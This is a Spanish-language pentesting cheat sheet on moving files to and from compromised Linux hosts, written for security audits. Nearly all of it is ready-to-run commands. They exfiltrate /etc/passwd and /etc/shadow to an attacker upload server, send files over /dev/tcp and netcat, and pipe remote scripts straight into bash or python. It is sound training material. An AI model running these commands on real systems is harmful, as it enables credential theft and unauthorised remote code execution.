File Transfer
Protected File Transfers
Durante una auditoría, muchas veces tenemos acceso a información sensible como listas de usuarios, credenciales (por ejemplo, al descargar el archivo NTDS.dit para crackeo offline), datos de enumeración que revelan detalles clave de la infraestructura de red o del entorno de Active Directory, entre otros. Por eso, es fundamental cifrar esa información o usar conexiones seguras como SSH, SFTP o HTTPS siempre que sea posible.
Sin embargo, a veces no tenemos acceso a esos canales cifrados y toca buscar otra forma de proteger los datos. En esos casos, cifrar los archivos antes de transferirlos es una buena práctica para evitar que puedan ser leídos si son interceptados.
File Encryption on Linux (OpenSSL)
Verify correct file content after transfer
❯ md5sum <file_name>
e7f7d2522cc7fdec3e6cc2c1e2f20819 <file_name>
Download Operations
Base64 Encoding / Decoding
cat archivo.txt | base64 -w0; echo
echo -n '<BASE64_CODE>' | base64 -d > archivo.txt
nc && /dev/tcp
nc -nlvp 443 > archivo.txt
# En caso de disponer de bash
cat archivo.txt > /dev/tcp/10.10.x.x/443
# En caso de disponer zsh o otra shell
bash -c 'cat archivo.txt > /dev/tcp/10.10.x.x/443'
Netcat/nc
nc -nlvp 443 > archivo.txt
nc -w 3 10.10.x.x 443 < archivo.txt
Wget
python3 -m http.server 80
# Descargar archivo indicando HTTP, parámetro -o para indicar ruta donde almacenar el archivo, en caso de no indicar se almacena en el directorio actual
wget http://10.10.x.x/archivo.txt
wget http://10.10.x.x/archivo.txt -o /tmp/archivo.txt
# Descargar archivo desde la IP directamente, parámetro -o para indicar ruta donde almacenar el archivo, en caso de no indicar se almacena en el directorio actualV
wget 10.10.x.x/archivo.txt
wget 10.10.x.x/archivo.txt -o /tmp/archivo.txt
Curl
python3 -m http.server 80
# Descargar archivo indicando HTTP, parámetro -o para indicar ruta donde almacenar el archivo, en caso de no indicar se almacena en el directorio actual
curl http://10.10.x.x/archivo.txt
curl http://10.10.x.x/archivo.txt -o /tmp/archivo.txt
# Descargar archivo desde la IP directamente, parámetro -o para indicar ruta donde almacenar el archivo, en caso de no indicar se almacena en el directorio actualV
curl 10.10.x.x/archivo.txt
curl 10.10.x.x/archivo.txt -o /tmp/archivo.txt
Fileless Attacks Using Linux
Debido a la forma en que funciona Linux y cómo operan las tuberías (pipes), la mayoría de las herramientas que usamos en Linux pueden ser utilizadas para replicar operaciones sin archivos, lo que significa que no necesitamos descargar un archivo para ejecutarlo.
Nota: Algunos payloads, como mkfifo
, escriben archivos en el disco. Ten en cuenta que, aunque la ejecución del payload pueda ser sin archivos cuando usas una tubería, dependiendo del payload elegido, puede crear archivos temporales en el sistema operativo.
Tomemos el comando cURL
que usamos, y en lugar de descargar LinEnum.sh
, lo ejecutaremos directamente utilizando una tubería.
Fileless Download with cURL
curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash
Fileless Download with wget
wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3
Hello World!
Download with Bash (/dev/tcp)
También puede haber situaciones en las que ninguna de las herramientas de transferencia de archivos más conocidas esté disponible. Siempre y cuando se tenga instalada una versión de Bash 2.04 o superior (compilada con --enable-net-redirections
), se puede utilizar el archivo de dispositivo incorporado /dev/TCP
para realizar descargas simples de archivos.
Connect to the Target Webserver
python3 -m http.server 80
exec 3<>/dev/tcp/10.10.10.32/80
HTTP GET Request
echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3
Print the Response
cat <&3
SSH Downloads
SSH
(o Secure Shell) es un protocolo que permite el acceso seguro a computadoras remotas. La implementación de SSH incluye una utilidad SCP para la transferencia remota de archivos que, por defecto, utiliza el protocolo SSH.
SCP
(secure copy) es una utilidad de línea de comandos que permite copiar archivos y directorios entre dos hosts de manera segura. Podemos copiar nuestros archivos desde la máquina local a servidores remotos y desde servidores remotos a nuestra máquina local.
SCP
es muy similar al comando cp
o copy
, pero en lugar de proporcionar una ruta local, necesitamos especificar un nombre de usuario, la dirección IP remota o el nombre DNS, y las credenciales del usuario.
Enabling and Starting the SSH Server
sudo systemctl enable ssh
sudo systemctl start ssh
Checking for SSH Listening Port
❯ netstat -lnpt
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
Ahora podemos comenzar a transferir archivos.
Linux - Downloading Files Using SCP
# Copiar el archivo /etc/passwd de la máquina atacante a la máquina víctima con SSH/SCP en el directorio actual
scp user@10.10.x.x:/etc/passwd .
# Copiar el archivo /etc/passwd de la máquina atacante a la máquina víctima con SSH/SCP en el directorio /tmp con el nombre "passwd"
scp user@10.10.x.x:/etc/passwd /tmp/passwd
Nota: Puedes crear una cuenta de usuario temporal para transferencias de archivos y evitar usar tus credenciales principales o claves en un ordenador remoto.
Download Operations using Python
Python es un lenguaje de programación muy popular. Actualmente, se admite la versión 3, pero es posible que encontremos servidores en los que aún exista la versión 2.7 de Python. Python puede ejecutar comandos de una sola línea desde una línea de comandos del sistema operativo utilizando la opción -c. Veamos algunos ejemplos:
Python2
python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
Python3
python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
Download Operations using PHP
En el siguiente ejemplo, utilizaremos el módulo PHP file_get_contents()
para descargar contenido de un sitio web combinado con el módulo file_put_contents()
para guardar el archivo en un directorio. PHP se puede utilizar para ejecutar comandos de una sola línea desde una línea de comandos del sistema operativo utilizando la opción -r.
PHP Download with File_get_contents()
php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'
Una alternativa a file_get_contents()
y file_put_contents()
es el módulo fopen()
. Podemos utilizar este módulo para abrir una URL, leer su contenido y guardarlo en un archivo.
PHP Download with Fopen()
php -r 'const BUFFER = 1024; $fremote =
fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
También podemos enviar el contenido descargado a una tubería, similar al ejemplo sin archivos que ejecutamos en la sección anterior usando cURL y wget.
PHP Download a File and Pipe it to Bash
php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash
Download Operations using Ruby
Ruby - Download a File
ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'
Download Operations using Perl
Perl - Download a File
perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'
Upload Operations
nc && /dev/tcp
nc -nlvp 443 > archivo.txt
# En caso de disponer de bash
cat archivo.txt > /dev/tcp/10.10.x.x/443
# En caso de disponer zsh o otra shell
bash -c 'cat archivo.txt > /dev/tcp/10.10.x.x/443'
Base64 Encoding / Decoding
cat archivo.txt | base64 -w0; echo
echo -n '<BASE64_CODE>' | base64 -d > archivo.txt
Web Upload
Como se mencionó en la sección de File Transfer en Windows, podemos usar uploadserver
, un módulo extendido del módulo Python HTTP.Server
, que incluye una página de carga de archivos. Para este ejemplo en Linux, veamos cómo podemos configurar el módulo uploadserver
para usar HTTPS y así asegurar la comunicación.
Lo primero que necesitamos hacer es instalar el módulo uploadserver
.
Start Web Server
sudo python3 -m pip install --user uploadserver
Ahora necesitamos crear un certificado. En este ejemplo, estamos utilizando un certificado autofirmado.
Create a Self-Signed Certificate
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
Start Web Server
mkdir https && cd https
python3 -m uploadserver 443 --server-certificate ../server.pem
Linux - Upload Multiple Files
curl -X POST https://10.10.x.x/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow--insecure
Utilizamos la opción --insecure porque usamos un certificado autofirmado en el que confiamos.
Web Upload without certificate
❯ python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
curl -X POST http://10.10.16.11:8000/upload -F 'files=@/etc/passwd'
curl -X POST http://10.10.16.11:8000/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow'
Alternative Web File Transfer Method
Dado que las distribuciones de Linux suelen tener Python o PHP instalados, iniciar un servidor web para transferir archivos es muy sencillo. Además, si el servidor que hemos comprometido es un servidor web, podemos mover los archivos que queremos transferir al directorio del servidor web y acceder a ellos desde la página web.
Es posible configurar un servidor web usando varios lenguajes. Una máquina Linux comprometida puede no tener un servidor web instalado. En tales casos, podemos usar un servidor web miniatura. Lo que quizás les falte en seguridad, lo compensan con flexibilidad, ya que la ubicación del webroot y los puertos de escucha se pueden cambiar rápidamente.
Linux - Creating a Web Server with Python3
python3 -m http.server
Linux - Creating a Web Server with Python2.7
python2.7 -m SimpleHTTPServer
Linux - Creating a Web Server with PHP
php -S 0.0.0.0:8000V
Linux - Creating a Web Server with Ruby
ruby -run -ehttpd . -p8000
Download the File from the Target Machine
wget 10.10.x.x:8000/filetrotransfer.txt
curl 10.10.x.x:8000/filetrotransfer.txt -o filetotransfer.txt
Nota: Cuando iniciamos un nuevo servidor web usando Python o PHP, es importante tener en cuenta que el tráfico entrante puede estar bloqueado. Estamos transfiriendo un archivo desde nuestro objetivo a nuestro host de ataque, pero no estamos subiendo el archivo.
SCP Upload
Es posible que encontremos algunas empresas que permitan el protocolo SSH (TCP/22) para conexiones salientes, y si ese es el caso, podemos usar un servidor SSH con la utilidad scp
para subir archivos. Intentemos subir un archivo a la máquina objetivo utilizando el protocolo SSH.
File Upload using SCP
scp /etc/passwd user@10.10.x.x:/home/gzzcoo/
Nota: Recuerda que la sintaxis de scp
es similar a la de cp
o copy
.
Upload Operations using Python3
Si queremos subir un archivo, necesitamos entender las funciones de un lenguaje de programación en particular para realizar la operación de subida. El módulo de solicitudes de Python3 permite enviar solicitudes HTTP (GET, POST, PUT, etc.) mediante Python. Podemos utilizar el siguiente código si queremos subir un archivo a nuestro servidor de subida de Python3.
Starting the Python uploadserver Module
❯ python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Uploading a File Using a Python One-liner
python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'
Dividamos esta línea en varias líneas para comprender mejor cada parte.
Uploading a File Using a Python Script
To use the requests function, we need to import the module first.
import requests
# Define the target URL where we will upload the file.
URL = "http://192.168.187.128:8000/upload"
# Define the file we want to read, open it and save it in a variable.
file = open("/etc/passwd","rb")
# Use a requests POST request to upload the file.
r = requests.post(URL,files={"files":file})
python3 upload.py
Upload Operations using PHP
Starting the Python uploadserver Module
❯ python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Uploading a File Using a PHP One-liner
php -r '$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://192.168.187.128:8000/upload"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, ["files" => new CURLFile("/etc/passwd")]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); echo $response;'
Dividamos esta línea en varias líneas para comprender mejor cada parte.
Uploading a File Using a PHP Script
<?php
$target_url = "http://192.168.187.128:8000/upload";
$file_path = "/etc/passwd";
// Inicializar cURL
$ch = curl_init();
// Configurar la solicitud POST con el archivo
$cfile = new CURLFile($file_path);
$post_data = ["files" => $cfile];
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Ejecutar la solicitud
$response = curl_exec($ch);
// Cerrar cURL
curl_close($ch);
// Mostrar la respuesta del servidor
echo $response;
?>
php upload.php
Upload Operations using Ruby
Starting the Python uploadserver Module
❯ python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Uploading a File Using a Ruby One-liner
ES POSIBLE QUE SE NECESITE INSTALAR EN EL EQUIPO VÍCTIMA LA SIGUIENTE GEMA QUE NO VIENE POR DEFECTO INSTALADA EN EL SISTEMA.
gem install multipart-post
ruby -e "require 'net/http'; require 'uri'; require 'multipart/post'; url = URI.parse('http://192.168.187.128:8000/upload'); file = File.open('/etc/passwd', 'rb'); request = Net::HTTP::Post.new(url.path); request.set_form([['files', file]], 'multipart/form-data'); response = Net::HTTP.start(url.host, url.port) { |http| http.request(request) }; puts response.body"
Dividamos esta línea en varias líneas para comprender mejor cada parte.
Uploading a File Using a Ruby Script
require 'net/http'
require 'uri'
require 'multipart/post'
url = URI.parse("http://192.168.187.128:8000/upload")
file = File.open("/etc/passwd", "rb")
request = Net::HTTP::Post.new(url.path)
request.set_form([['files', file]], 'multipart/form-data')
response = Net::HTTP.start(url.host, url.port) { |http| http.request(request) }
puts response.body
ruby upload.rb
Upload Operations using Perl
Starting the Python uploadserver Module
❯ python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Uploading a File Using a Ruby One-liner
perl -e 'use LWP::UserAgent; use HTTP::Request::Common qw(POST); use HTTP::Request; my $url = "http://192.168.187.128:8000/upload"; my $file_path = "/etc/passwd"; my $ua = LWP::UserAgent->new; my $response = $ua->request(POST $url, Content_Type => "multipart/form-data", Content => [ "files" => [ $file_path ] ]); print $response->decoded_content;'
Dividamos esta línea en varias líneas para comprender mejor cada parte.
Uploading a File Using a Perl Script
se LWP::UserAgent;
use HTTP::Request::Common qw(POST);
use HTTP::Request;
use File::Basename;
my $url = 'http://192.168.187.128:8000/upload';
my $file_path = '/etc/passwd';
# Crear un objeto LWP::UserAgent
my $ua = LWP::UserAgent->new;
# Crear una solicitud POST con el archivo
my $response = $ua->request(POST $url,
Content_Type => 'multipart/form-data',
Content => [
'files' => [ $file_path ]
]
);
# Mostrar la respuesta
print $response->decoded_content;
perl upload.pl
Última actualización
¿Te fue útil?